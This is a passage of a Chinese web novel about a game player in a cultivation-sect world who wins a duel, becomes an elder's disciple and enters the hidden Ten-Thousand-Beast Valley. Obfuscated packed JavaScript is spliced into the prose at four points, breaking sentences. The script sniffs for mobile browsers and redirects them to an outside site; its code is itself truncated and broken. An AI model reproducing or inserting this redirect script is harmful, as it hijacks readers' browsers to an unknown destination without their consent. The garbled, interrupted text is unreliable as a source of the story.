余小玉半点也没受影响,泰然自若地等待着这群长老的分配。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269645|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 掌门转向另一位:“虎长老,你看……” “虎长老”是个穿破旧袈裟的瘦小老妪,手扶三尺檀木禅杖,和她虎虎生威的名讳十分不符,拨着佛珠连连点头颤声:“老衲一介打铁的粗人,不合适,不合适。” 余小羽正想举手,被他师父河长老瞪了一眼,他也瞪着眼睛,一时僵持不下。 掌门很干脆,最后看向年轻的邱长老。 邱长老:“……” 邱长老弱弱:“我也不会……” “就你了。”掌门果断拍案,生怕说迟了,“余小友,从今天开始,你就是罗汉峰的弟子了。” 这边在纠结余小玉的去向,秘境那边,剩下的小组也陆陆续续完成了考验,由长老和弟子们逐个评估。 那些被淘汰的弟子脸上多数都没有表情,每个人离开时都紧绷着脸,有的目光落在崔滢身上,她感觉自己像是被烧了一遍。 一条结实的臂膀在这时捅了捅她。 轻灵欢快的声音在耳边响起,崔滢的眼底映出了余小玉圆乎乎的脸,她抿着嘴,歪下身子用气声对自己道:“这下咱俩又到一块啦!” 言语之中喜滋滋的模样,令崔滢想起了玛丽。 她笑:“好哦。” “你很紧张?” 崔滢摸了摸自己的脸,“有这么明显?” 余小玉乐了:“放心吧,你不会有事的。” 崔滢心中燃起一线希望:“怎么说?” “弟子对试不能伤人,就算你被打回外门,也就是从头再来嘛,不会有事的。” “……” 留下来的外门弟子一共有十五个人,死到临头,崔滢反倒平静了。她在十五个人中看见了宇文雁还有那个叫陈丽的矮人,鳞次栉比五花八门,连掌门都不禁发出感慨: “这一届的学生很丰富啊。” 等到择选对手的时候,崔滢才发现自己可能,似乎想错了。 本以为这些外门弟子会优先针对她这样看上去偏弱的选手,没想到大部分的人一开口就是各山的首席。 包括宇文雁在内,也半点不含糊,直指宋如莺。 崔滢的耳边响起废矿中宇文雁那句掷地有声的“道心”,终于意识到,如果她单纯把修行当成一种学习考试,或许是一种十分不负责任的想法。 当然,道心归道心,当崔滢看见那些挑战者纷纷以狼狈或飞行的姿态迅速落败时,心中还是难免生出一丝同情。 跃龙门跃龙门。 弟子们日复一日的苦修,拼了尽全力也只是想获得一年一度跳跃的资格。如果龙门不够高、不够难,或许对于这些人来说,也是一次无谓的旅行。 崔滢越来越觉得如坐针毡了。 十五个人里有人看上去比崔滢更加焦虑,那个人她在秘境中见过,是余小玉队伍里的清鸢。 或许是宋如莺和木泓的首席气场太吓人,那些被淘汰的身影一个接一个,如同幽魂经过眼前,清鸢垂着眼,呼吸慢慢沉重,颤抖,手指蜷起,握拳。 下一秒,她的手指迅速松开指向角落: “我选她。” 18. 万兽谷 很久以前开始,伽莱就发现自己很擅长记住那些失败者的姿态。 有一段时间,她沉迷在电视上观看拳击比赛。那些砸倒在地的时刻,神志不清身体仍在挣扎的时刻,伤痕累累站不起来的时刻,她的眼睛里盛满了这些画面。通过观看旁人的失败来预演自己有可能有的时刻,似乎已经成为了伽莱的习惯。 而现在在游戏里,擂台的铃声仿佛穿过久远的记忆,再一次在崔滢的耳边响起。 叮叮叮叮—— 轰。崔滢的身体如同一片残破的树叶飞出去,长老殿外的石头坪生着积年的绿苔,她像只泥鳅一样滑行,眼看就要掉出边缘。 “喂。” 崔滢回过神,刚刚那些画面都是自己的想象。 清鸢站在对面,执剑而立,冲她抬了抬下巴:“你的剑呢?” 她的剑?她的剑…… 崔滢摸了摸自己剑鞘,尬手尬脚地把剑抽了出来,动作之生分,叫在场的人看了无不皱紧眉头。 “你到底在演什么?”清鸢也蹙眉,不悦道,“你如今的境界已经到了筑基,却连把剑都拿不稳,我不是傻子,有什么必要戏弄我这一遭?” 崔滢看上去有话要说。 “算了。”清鸢打断,举起剑,脚尖一扭,衣带无风自动。 是剑招起势。 灵力自她脚下爆发,下一秒,剑光如离箭穿刺而来,崔滢还没看清楚动作,手就自动抬了起来。 锵的一声火花四溅,崔滢手臂发麻,震撼地看着抵住剑尖的自己的剑,一时失语。 她是靠着邱长老那本剑诀才升上筑基的,说到底,剑诀里到底写了什么内容,那些人体图到底讲了什么,崔滢从头到尾都没认真翻看理解过,全凭游戏系统自主吸收。 所以即便已经筑基,认知上,她还是那个不懂运气不懂挥剑的崔滢。 万万没有想到。 崔滢挑剑一震,脚下御风,手中剑刃如银花卷风暴雨般疾打而去,清鸢被逼的连连后退,脸上还挂着不可置信的神情。 定睛看去,崔滢的表情居然和她如出一辙。 ——这游戏竟然能控制她的身体! “借力反打,趁势而为。”邱长老点头,“剑意虽稍显驳杂,却看得出有好好消化那本四象诀,不错。” 陌生的长剑在崔滢手里像是活过来一般,疾风骤雨般密集的向着清鸢攻击,不给对方一点喘息的机会,而血族天生的强悍体质完美承受住了剑招的强度,一通炫技下来,崔滢连气都没喘。 反倒是清鸢气喘吁吁,四肢发颤,被崔滢的力气和技巧震惊,瞪视着她。 此情此景,众人岂能反应不过来? 这不就是典型的,扮猪吃老虎嘛! “人看着老实,挺能演啊。”清鸢一边喘气一边嘲讽,瞪了一会儿,干脆伸手一丢,长剑当啷落地,“我认输。” 崔滢梦游般的回到了阁间。 “崔崔,你好厉害啊!”余小玉激动地拉着她,“亏我还替你担心呢,啧。”她一掌拍在崔滢后背,“竟然连我也骗,不厚道了啊。” 崔滢有气无力地看了她一眼,连那句突如其来的亲昵称呼都没力气追究了。 原本计划着在这批通关的人里寻找玩家,直到邱长老的声音响起,崔滢才发现自己发了太久的呆,周围不知何时空空如也,宗门大比已落下帷幕。 “你做得很好。” 一只手落在了崔滢的发心,带着重量和温度,邱长老欣慰温言,“我们走吧。” 余小玉活泼外放,完全没有过渡期,回罗汉峰的途中就一口一个师父叫上了:“师父,您给崔师妹什么秘籍,我能不能炼?” “她的体脉强健,灵台平稳,除了灵根稍显一般,原本的底子就不错。那本四象决固本强基,适合她,却不适合你。” 余小玉拔高声音:“为什么?” 三人踏上罗汉峰的土地,四周乱石窄林,尽头有一方青砖小院,邱长老停下脚步,回头看她一眼。 “你的灵根天赋很好,纯度极高的金灵根,世所罕见。”他没什么语气道,“可你的灵台碎过,不是吗?” “……” 余小玉心虚目移。 “灵台是修行之本,碎过以后,即便修补,也难再回到当初。”邱长老道,“我看过你在剑冢的修炼记录,你已经来无垢宗四年了,你弟弟和你一样的天赋早在第一年就拜入内门,而你至今还滞留在筑基之境。” “对了,按照规矩,你以后,该叫崔滢师姐了。” “既然收你们为徒,就会尽我最大的能力帮助你们。”邱长老说。 他看上去很年轻,脸上没有一根皱纹,眼睛总是忧伤的形状,像含着万千种愁绪。 头发差不多白完了,只剩下发尾一点蘸墨似的颜色,像一条拉长的毛笔。 崔滢和余小玉看着这根毛笔渐渐走远。 事实证明邱长老的确说到做到。 接下去的几天,崔滢开启了沉浸式体验修仙的模式。 白天窝在屋子里打坐运气,晚上在山崖边和余小玉练习剑法,脑力活动拉满的同时强体健身,比在徐薇家的生活还规律。她第一次发现,没有手机,也可以一点都不无聊。 遇到不得不在白天出门的时候,崔滢就会涂上夜明砂,和余小玉上山,看瀑布,打猎,爬树,吃酸果,偶尔误食毒蘑菇中了幻觉,一路发疯奔跑下山,清醒过来时邱长老正在她们小屋的门口闭眼打坐,头上多了五根打了死结的麻花辫。 鉴于前两回的经验,崔滢关掉了任务剧情模式,专心体验修仙。 偶尔,也会萌生出自己是不是悠闲过头了的想法。 毕竟她如今的处境四面楚歌,外有徐薇,内有藏在暗处虎视眈眈的玩家和身份未明的杀手,实在不应该如此轻松快乐。 但越是大难临头火烧眉毛,崔滢的心情就越平静,躺平躺的就越安心。 好奇怪的心理,但她就是这样,没办法。 五座山之间不常走动,崔滢也没有合适的借口,加上她原本就不善言辞,遂彻底没了寻找其他玩家的路子。 好在不久后,机会就出现了。 那是一个和一万个日子一样平凡的一天。 弟子们照旧修炼,读书,运剑,一日三餐。然后,一个从仙盟来的消息如蝗虫过境,在整个无垢宗掀起了轩然大波。 万兽谷消失了。 得知这个消息的时候崔滢刚刚从山溪里湿漉漉地走上来,筐子里的鱼跳起来用尾巴甩了她一脸,崔滢面无表情地抹抹,余小玉从山林远处飞奔而来,劈头盖脸道: “万兽谷消失了!” 她叽里呱啦讲一通,忽然住嘴,狐疑地盯着崔滢木然的表情,“你在想什么?” 崔滢:“……” 还能想什么,当然是在骂街。 又是万兽谷。 这事就不能过去吗?堂堂一个无垢宗,连个小小的万兽谷都解决不了! 消息紧锣密鼓,余小玉前脚说完,后脚邱长老便御着风从天而降,还带着一个足以将两个人劈焦的讯息: “经过多日的线索拼合,长老殿的结论是,万兽谷一事,和之前进入万兽谷里的人脱不开干系。”邱长老眉眼沉重,“保险起见,长老殿要召集之前进谷的队伍,再进一次。” 余小玉看了崔滢一眼,明白了什么,“那我呢?” “往日该是如何,就是如何。”邱长老朝崔滢招手,“你过来。” 崔滢老老实实跟上。 余小玉孤零零地站在原地看着这对师徒逐渐远去,半天“切”了一声,深吸口气,眼神里似乎酝酿着什么。 “想好了吗?” 邱长老忽然发问,崔滢的思绪还停留在万兽谷,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269646|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时没反应过来,“什么?” “我说给你的剑取个剑名,你还是没有听进去。”他叹气,“剑有灵,有了名,才算是有了归属。剑修不止要修习章法,还得与剑心意相通,方能日臻境界。” 崔滢:“哦。” 还是没听进去。 邱长老很无奈。 他不能理解在崔滢眼里,武器就是武器,就像她管蟑螂叫蟑螂,猫叫猫,玩偶就叫玩偶,赋予名字在她这里就是一个很多余的行为。宠物尚且如此,更别提冷冰冰的金属了。 崔滢熟稔地踩上剑,两指并拢调用灵力,这几天的修行让她摸到了一点修仙的门路,不需要游戏的按钮也可以自主御剑了。 飞起来的感觉真好。 雾蒙蒙的青绿山川从身侧飞快划过,崔滢贴着江水飞行,时不时把一只脚尖递下去,江面刮起颀长的锐角涟漪。 每到这种时候她总会不合时宜地想起巫女的扫帚,心一痒,便想尝试着坐下去。剑好像察觉到了她的心思,自动收起锋芒,于是崔滢坐在剑上,两条腿晃荡在半空,晶莹的江水在她脚下水珠飞扬,折射出山川夹道尽头的日光。 脚下出现一片密林的时候,邱长老传音道:“下去吧,到了。” 到了? 崔滢低头瞪大眼睛,目之所及皆是密不透风的原始林木,半点看不见山谷的影子。 邱长老掐了一只信鸟,片刻后信鸟飞回,师徒跟着它的踪迹在密林中央降落, 他们到得晚,现场已经有了不少人。崔滢还没站稳,一个娇小的人影就扑了上来,热络地搂住她问候: “出息了呀,一段时间没见,成为内门的弟子了?” 正是乾元宗的大师姐,任喜儿。 崔滢努力梗着脖子,“你做发型了?” 任喜儿今天束了个利落的马尾,马尾上还落着几根纤细的麻花辫,她摸了摸后脑,憨笑:“这么明显吗?” 周围人沉默地注视着这一幕。 “这崔滢到底是什么来路,宋如莺待她不一般就算了,怎么连外宗的人也认识?”詹三靠着树干抱臂,一只手随意地丢着石子,旁边的宇文雁出声阻止,“修行之人当有修行之德,随意议论他人成什么样子?” 詹三笑了笑。 “宇文师姐,你不过就是排在我前面早点进了辽白峰而已,叫你一声师姐是看在河长老的面子上,别真把自己当块料,成吗?” 看着他轻蔑的模样,宇文雁张了张嘴,最终还是一句话没说。 詹三是上品高纯度的金灵根,从初试开始便展露其凶狠的头脚,拜入内门短短几日就从筑基臻至金丹,深受长老殿与河长老的器重。 此人脾性高傲,城府略深,宇文雁虽然有个师姐之名,却也压不住他。 “不是说要来几个人监管万兽谷的行动吗?这来的都是什么货色。”詹三嫌弃地看了一眼身后石墩一样的背影,脏红色的卷发缠成两股粗壮的麻花,经过改制的衣袍贴着宽厚的脊背,感受到视线,陈丽停下进食的动作,抱着饭碗茫然回头,嘴角还沾着一片油光。 詹三:“……” 詹三皱眉,厌弃地挪开视线。 “不好意思,路上有事耽搁了。” 总是人未至声先到,还没看见影子,崔滢就已认出了那副清亮的嗓子。 木泓和宋如莺一前一后御剑而下。同为无垢宗弟子,唯有这两人每次出场都能夺走大部分的目光。 金童玉女的图像,仍旧是人们趋之若鹜的传说。 邱长老道:“只有你们吗?” 木泓绷着脸站在旁边,只有宋如莺别了别发丝,乖巧颔首:“邱长老,我师父说了,此次万兽谷行动,由几位新来的弟子监督进行即可。” 如果内门弟子也有等级,宋如莺和木泓应该是当之无愧的首座候选人。 谁让他们的师父是掌门。 19. 万兽谷 “人到齐了,该说正事了。” 作为在场唯一有足够资历的领导人,邱长老缓声道,“罗盘显示的方位,我们现在所在的位置,就是几天前的万兽谷。” “即便有移山倒海之能,一座山谷也不可能一夜之间被填平。”邱长老道,“长老殿的倾向是,山谷不是消失,而是被藏起来了。” 简直骇人听闻。 这个结论在崔滢听来和消失一样离谱,她无法想象如何填平一座山谷,更无法想象藏起一座山谷应该用什么手段。 有弟子听完邱长老的话仔细观察了一下身边的林木,伸手锤了锤,树叶扑簌簌落下,和寻常林木无异,但这恰恰是问题所在。 万兽谷附近根本没有像样的密林,一夜之间多出这么一块不存在的地方,除了幻术,压根想不出其他的解释。 “先到附近转转吧,不管是什么手段,只要是人为,就一定有破绽。”邱长老的语气不疾不徐,带动了全场的节奏,“这次前来辅助监管的弟子,罗汉峰情况特殊没有出人,就辛苦辽白的小道友了。” 詹三和宇文雁点头示意。 任喜儿在旁边挥挥手:“我就是来凑个热闹,你们玩你们的,不用管我。” “崔滢。”邱长老最后转向正望着某处发呆的人,“你跟我分开行动。” 崔滢:“嗻。” 众人齐齐一顿。 “……” 原本严肃的氛围变得有些微妙,视线从四面八方投射而来,邱长老平淡的表情裂开一条缝,欲言又止,哭笑不得道:“你对为师的安排不满意?” “啊,没有啊。” 崔滢反应过来,茫然回道。 她说什么了? 崔滢始终认为不同语种之间存在鸿沟,一味依赖游戏直译早晚要出问题,所以在修行的间隙,她也在学习文字和书籍。读到不那么理解的地方,她就会去请教余小玉。 余小玉高深莫测地说,“嗻”是比较有文化,有礼貌的应答,表示程度极高的全盘接受。 她听见身后的灌木里传出来一声微不可闻的轻笑,顿时明白过来自己被耍了,恍然大悟地吸了口气,尴尬地挠挠脸,道:“我没有别的意思,师父。” “行了,以后别乱说话就好。”邱长老收起表情,“你跟辽白的人走,两炷香之后在此地汇合。木泓。” 木泓唤出命剑,长指一翻,剑裹风稳稳插进一旁的红木。下一秒,剑刃上方一闪,白色电流轰然炸开,树干顿时成了裂纹密布的木雕,电丝沿着裂口游动,惊骇而又美丽。 “我已在此地布下阵法。”木泓道,“倘若迷路,循着我的灵力方向走即可。” 宋如莺看着木泓,脸上流露出崇拜的神色。 邱长老点头认可,其余人也不再说什么。只有詹三始终盯着那柄插在树上的霄霆剑,直到旁边有人叫他,方才回过神。 “师父说让我跟辽白峰的人走。”崔滢站在他面前,说完这句就没有下文了,好像只是重复邱长老的命令,抑或是以此胁迫他。 詹三冷笑一声。 好巧不巧,恰恰是他最讨厌的那位,罗汉峰的崔滢。 他眉毛一塌,嘲讽的表情流露:“我可不跟你这种货色一组……” “可是你不跟我一组的话。” 崔滢站在空无一人的林木空地上,认真道,“就没有人跟你一组了呀。” “……” 詹三猛地直起身。 什么时候? 他盯着木泓的霄霆剑盯了太久,全然没有注意到所有人都已经开始分头行动了。关键的关键是,竟然没有一个人愿意跟他! 除了这个崔滢! 其实崔滢本来也是想跟着宇文雁走的。 奈何一回头就看见这个少年孤苦伶仃地站在原地,被抛弃一般,像极了校园里那些不合群被孤立的人,完全的失败者。一时同情心起,这才留了下来。 詹三哪里知道自己被可怜了,心烦意躁,走了几步烦不过,指着崔滢的鼻子道:“你别想耍什么小心思,我心里已经有人了。” 崔滢:?…… 这个世界的npc思维都太跳跃,她跟的好累。 詹三的确打心眼里瞧不起崔滢。 内门对试的时候,她纯粹就是通过扮猪吃老虎的卑劣手段捡了个心理便宜,而且那个清鸢也不是什么厉害的人。在内门里滥竽充数者众多,唯独这个崔滢最令人恶心。 两个人转了一圈都没什么收获。不过正是因为没有收获,让他们都在心里不约而同地确认了一件事情:这根本不是正常的森林。 正常的森林,不会连一只飞禽走兽都没有。 詹三开始觉得无聊了。忽然他心生一计,转头对着崔滢喊了一声,指着她背后道:“看那边。” 崔滢扭头看去。 “啥啊。” 她转回来,低头,脚腕上多了一根长满倒刺的金属荆条。 倒钩深深刺进皮肤里,鲜血争先恐后涌出。詹三抬了抬手指,下一秒,那金属荆条就像活过来一般往上腾跃,崔滢被猝不及防倒吊起来,衣摆如雾纱下垂,她拨开脸前的衣料,正对上树下詹三的表情。 “我听说过你的事情,也不知道长老殿那边是怎么想的,明明万兽谷的动乱,你的嫌疑最大。”詹三漫不经心地把弄着手里的荆条,唇角轻蔑,“如果你是无辜的,跟着也是拖后腿;如果你不无辜,正好试一试。” 崔滢终于听懂了,他要把自己困在这里。 其实詹三出手的时候她就感觉到了,只是那个时候她不认为对方带着恶意,也没想着防。直到现在她才发现,这人十分的厌恶她。 “等等。”崔滢试图讲点道理,“那你要怎么跟我师父解释?” “什么?”詹三好像听见了什么不得了的事,好笑道,“你这种被强塞进去的货,你师父巴不得甩掉你才是,你倒好,真把自己当内门弟子了,搞笑。” “……” 目送詹三消失在视野中,崔滢吊在空中转了一圈,良久,幽幽出声:“看够了?” 起先只是气声般的轻笑。 旋即,树干背后爆发出一阵哈哈大笑。 余小玉从背面闪出来,手搭凉棚望向詹三消失的方向,然后转向崔滢,乐不可支道:“你哪里惹到他了?……算了,那货没人惹他也这样,纯贱的。” “放我下来。” 余小玉捋起袖子爬上树,匍匐到树枝上的时候她才看清楚绑住崔滢脚腕的究竟是什么玩意,脸色骤变:“他用这个对付你?” 小半只裤脚都被血浸透了,崔滢“嗯”了一声,没什么所谓的在空中缓慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋如莺想了想,“好像是那个叫陈丽的姑娘,今年大比进来的,他们去的是东南方向。” 不详的乌云笼罩在每个人的头顶。 来不及管突然出现的余小玉,邱长老不在,木泓自然而然站出来充当临时领导,“往东南走,我打头阵,如莺断后。” “好嘞。” “那是怎么回事?”木泓忽然看向崔滢的脚踝,他的表情幅度极小,因此压迫感十足。余小玉生怕崔滢找其他的借口,立刻站出来道: “是詹三,他用这个把崔滢吊在树上,要不是我恰好跟着,崔滢真被丢在这,出了事都没有人负责!” 金属倒钩荆条被丢在地上,木泓凝眉看了一会儿,一动不动。 下一秒,詹三的腿猝不及防一弯,他咬牙握着小腿,看着脚腕上被血濡湿的衣料,一双眼睛死死盯向木泓。 只是那一个动作,他竟然一点都没看清。 “铮。”木泓收手,霄霆剑利落归鞘。 “人命关天的大事,岂容你们在这小打小闹。”大师兄寒声,眼神淬冰,宋如莺笑眯眯在他身旁站着,“事情解决之前,再有明知故犯肆意挑起内乱者,就不是受个皮外伤这么简单了。” 20. 万兽谷 众人沿着邱长老与陈丽消失的方向走。 詹三运气封住了伤口,余光被前方的崔滢吸引。 他的眼神落在崔滢血染裤脚但健步如飞的步伐上,眸中闪过一丝阴翳。 崔滢没有功夫感受旁人的视线,因为余小玉出现以后,她需要处理的事情变多了。 余小玉和任喜儿两个自来熟一碰面,不亚于天雷勾地火,像认识多年的挚友那般天南海北滔滔不绝地畅聊了起来。崔滢夹在她俩中间,麻木地听着她们的话题从修行到早膳最后再到谈过几个道侣,一提到这个话题,任喜儿显然有的抱怨: “最近修行到了瓶颈,我也想找个能互补的道侣啊,可是我爹那个老古董,但凡我有稍微亲近点的对象,不论男女,他都要找借口抓去掌掌眼,烦人得很。” “说明你爹对你上心。”余小玉一副老持承重的口气,“不过也就是你爹了。你看看我弟,他倒也想管我呢,可他管得着吗?” “你是木灵根,得找金灵根吧。”任喜儿想了想,“这个条件的人不多哦。” 崔滢在这时有了反应。 因为她想起来,詹三也是金灵根。 余小玉救下自己的时候还在对詹三破口大骂,句句戳中痛点,看上去不是一般的了解。 莫非这两人…… “前道侣。” 面对崔滢的疑问,余小玉坦然道,“灵根属性是相合的,可他那人性格太乖戾,经脉互通时常常被他的心绪影响,好几次差点走火入魔。这都算了,主要是他平时太小气,做人太贱,天天坑我的丹药灵石,脾气也差得要死……” “余小玉。”詹三在后方阴恻恻道,“说我坏话的时候当心点。” 余小玉头也不回地竖起鄙夷的小手指。 崔滢在中间若有所悟。 听宇文雁他们讲的时候,崔滢自然而然把道侣和现实中的丈夫或情人对标。 一生一世一双人,一旦建立了这种链接便不能轻易背叛,否则将会受到世俗道德的谴责。 可如今看来,不管是余小玉还是任喜儿,在她们的口中,这个世界的道侣似乎和功法、丹药没什么区别,都是修行路上提升修为的一种手段而已。 如果真是这样,那针对宋如莺的批判又是基于什么? 三人边走边讲小话。在她们背后,一个弟子悄然放慢脚步,队伍的末尾是宋如莺。她看着那弟子朝自己靠过来,压低声音道: “宋师姐,乾元宗的大师姐好像待那个崔滢十分的不一般,这是为何,她们有什么过往吗?” “我很看上去很闲吗?” 弟子一愣。 宋如莺笑眼盈盈,语气柔缓,却莫名让人的脊骨腾起一阵寒意:“旁人的私事,我怎么会知道呢?” 弟子怔了好一会儿才讪讪离去,宋如莺眼中的笑意逐渐变淡,安静地望着三人组的背影。 墓穴里的那一天重新浮现在脑海。 如果没记错,崔滢先所有人一步找到了尚存的任喜儿,她们两个,有一段独自共处的时间。 中间发生过什么?任喜儿对崔滢,又说了什么? “大师兄不见了!” 正在思考间,最前方响起惊慌失措的声音,宋如莺猛地抬目,队形乱成一锅粥,宋如莺厉声喊:“保持冷静!先清点人数!” 除了大师兄木泓,其余人都还在地面上。 宋如莺越过众人往前,发现崔滢余小玉任喜儿三人不知何时也到了最前方,站成一排似乎正在嘀咕着什么。还没出声,崔滢就像感知到了什么似的,回头看向她。 两人对视片刻。 “这里就是入口。”崔滢道,那双眼睛无知无觉,有时讨人厌,此时看上去却很认真,“大师兄是从这里掉下去的。” “你怎么发现的?” 崔滢彻底转过身,抬起手,她的手指上停着一只小巧油亮的蜚蠊,正在摇晃触须。 宋如莺的脸一白,下意识后撤一步。 “蜚蠊是只有万兽谷才有的灵兽。”她白着脸道,“你说得对,入口就在这里。” 木泓不是消失了,而是幻术覆盖在整条沟谷之上,当他迈过阵法时脚下一空,掉进谷中,在外面的人看来,就是凭空消失了。 宋如莺把情况简单跟所有人说了一下,任喜儿率先打头,御剑一头钻进“地里”。见无事发生,众人也跟着纷纷效仿。 之前进入万兽谷,都是靠邱长老堪舆望气,敲定安全的落脚点。如今这万兽谷迷障重重,落下去之后是什么地方,全看运气。 随着无垢宗的人层层深入,崖壁上亮起了一排又一排的小灯,有弟子瞥了一眼,差点翻下剑去,被同伴及时拉住。 哪里是什么灯,攀附在崖壁上的,是密密麻麻被他们吵醒的血蝠! 又是这玩意! 长剑纷纷落地,宋如莺掏出一小把锯齿形的叶片,对众人道:“这是逐灵茅,能够散发对大多数灵兽来说刺激的气味,大家带在身上,进入万兽谷,需得万事小心。” 任喜儿点起一团火灵,众人待在原地不动,任由她驱使火灵向前探路。 摇动的光影投射在任喜儿凝固的表情上。 “你们有没有听见……水声?” 话音甫落,火光之下突然出现粼粼片光。 一条纤细的碧色溪流穿过谷底,水色清透的能看见游弋的金鳞鱼,鱼背闪着艳丽的红丝。任喜儿沉思后道:“据说这金鳞鱼乃万兽谷中驯养的信使,擅长隐匿,谷中弟子往往会将绢布信笺藏入金鳞鱼口中,遇到被标记的溪石便会跃出水面。” 还没说完,身后已有一道剑光擦过任喜儿的肩膀凌冽劈下,水面溅起高高的水花,金鳞鱼被那剑气轰上了岸。剑气的主人宋如莺走过去,蹲下扒开了鱼嘴。 她的声音一沉:“有万兽谷弟子的密信。” 溪石的标记连接着刻标记者的命魂,这金鳞鱼迟迟不上岸,想必是求救者和接收者都已经死了。宋如莺打开信笺,任喜儿大步流星走上来看,上面只有八个大字,潦草至极: 此地尽陷,君宜速遁。 …… 血腥剧变化作简单的八个字,在众人眼前悉数展开。 窒息的沉默笼罩在无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269648|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垢宗弟子们的上方,比那些虎视眈眈的血蝠更加令人喘不过气。 宋如莺忽然抬剑一挡,兵器相咬的瞬间火花四溅,对方从阴影中缓缓现出面孔,下一秒,她的脸上涌出惊喜之色: “师兄!” “……如莺。” 木泓僵硬的表情渐渐放松下来,收起动作,对他们道:“我已和其余人在万兽谷宗地汇合,你们随我来。” 沿着碧溪向下,水流越来越宽阔,远远地瞧见一处隐秘的光源,崖壁上的不再是兽眼,而是五色斑斓的光石。 溪流两岸散落着数十座竹楼,入口有两尊百米高的玄铁兽首石雕相对而立,左为青狮右为白象,獠牙间缠满千年古藤,藤叶簌簌垂落如帘。正中央最高大的建筑装饰着牌匾“万兽殿”,殿宇未用一砖一瓦,乃四棵千年古榕的气根纠结而成,树冠撑起的穹顶覆着孔雀羽织就的幔帐,在青石地面投下斑斓光斑。 第一次见到万兽谷作为宗门的本体,崔滢连情绪都忘记了,沉浸在自然与建筑不可思议的和谐美中,手指不受控制地点开游戏系统自带的截屏录像功能。 有点曝光了,调一下。 崔滢的手指在活动时,木泓已经沿着栈道将所有人就近带入了一栋竹楼。楼内,邱长老与一众弟子席地而坐,陈丽在邱长老对面,她紧闭双眼,浑身血痕累累,任由邱长老将真气打入她体内,似乎受了不轻的伤。 “这是怎么了?” 木泓:“他们往东南走,不慎踩中阵法掉进万兽谷,落在了这里。” “只是这样吗?” “当然不是。” 木泓一字一句。 “谷底有东西袭击了他们。” 氛围实在沉闷的奇怪,崔滢被带的有些焦躁,却摸不着一点头脑。这时邱长老收起真气,平复后沉声道:“袭击我们的是魔族。” 崔滢的心脏重重跳了一下。 脑海中登时浮现出那张俊美无俦的面容,崔滢不自觉捏紧手指。 是他干的? 明明没见过几面,此时此刻,那个人的每一寸细节都在她的脑中无限放大。 他白到泛青的肌肤,上挑的眼线,淡漠的瞳孔,还有掐住自己时带来的无法抗拒的窒息感。 那是一个危险的恶魔。 脑袋开始发沉,晕晕乎乎,像是过载的机器正在处理巨量的信息,崔滢蓦地想起在墓穴初遇时他说过的话。他说,会让自己后悔救他出去。 洞穴探索尚且只给100灵石奖励,一个支线任务,奖励竟然是罕见的天赋,她怎么就没反应过来,这事有多大呢? 她在无意中做了坏事吗? …… 万千思绪缠绕,一丝凉意猝不及防扎进大脑,崔滢突然明白,如果师父和陈丽还有这些弟子真是他伤的,有没有一种可能,他就是在等她们来? 以万兽谷消失的噱头引诱,再瓮中捉鳖。 如果真如她所想,那他很有可能并没有离开。 他一直在这座谷底,甚至在这些竹楼,某个角落,注视着这群来自无垢宗,茫然而又弱小的修士。 21. 万兽谷 苍白的指骨抚过琉璃幼兽微微隆起的柔软脊背,竹楼上方的房梁之上,一道影子安静地坐着,看着底下群聚的修士,轻轻敲了敲琉璃兽的脑袋。 “安静些。” 无垢宗的修士们该谋划的谋划,聊天的聊天,竟然没有一个人发觉这藏在房梁之上的气息。 温如骨姿态随意,浑身素白,一袭黑发如瀑,像是云游到此的闲散仙人。 怀中的琉璃兽不安分地动了动,几次被那只轻飘飘的手摁住,发出可怜的哀鸣。 “你娘亲现在不方便见你。”温如骨的语气松散,眼睛黑黝黝地注视着下方正在发着呆的少女,“瞧,她马上就要发现我们了。” 话音未落,崔滢缓缓仰头,视线精准落在房梁的某处,那里空无一物。 她保持着仰头的姿势,片刻后才收回眼神。 “确实很奇怪。” 任喜儿道:“万兽谷的灵兽失控以后,仙盟派我们乾元宗来此地调查,当时我与万兽宗主就在竹楼内相谈,不过一个时辰,动乱就发生了。” 最开始是茶水。 青碧的杯碟里漾起圈圈涟漪,任喜儿凝望着,伸手往耳边一抹,指尖沾上了黏腻的猩红。 群兽尖啸。 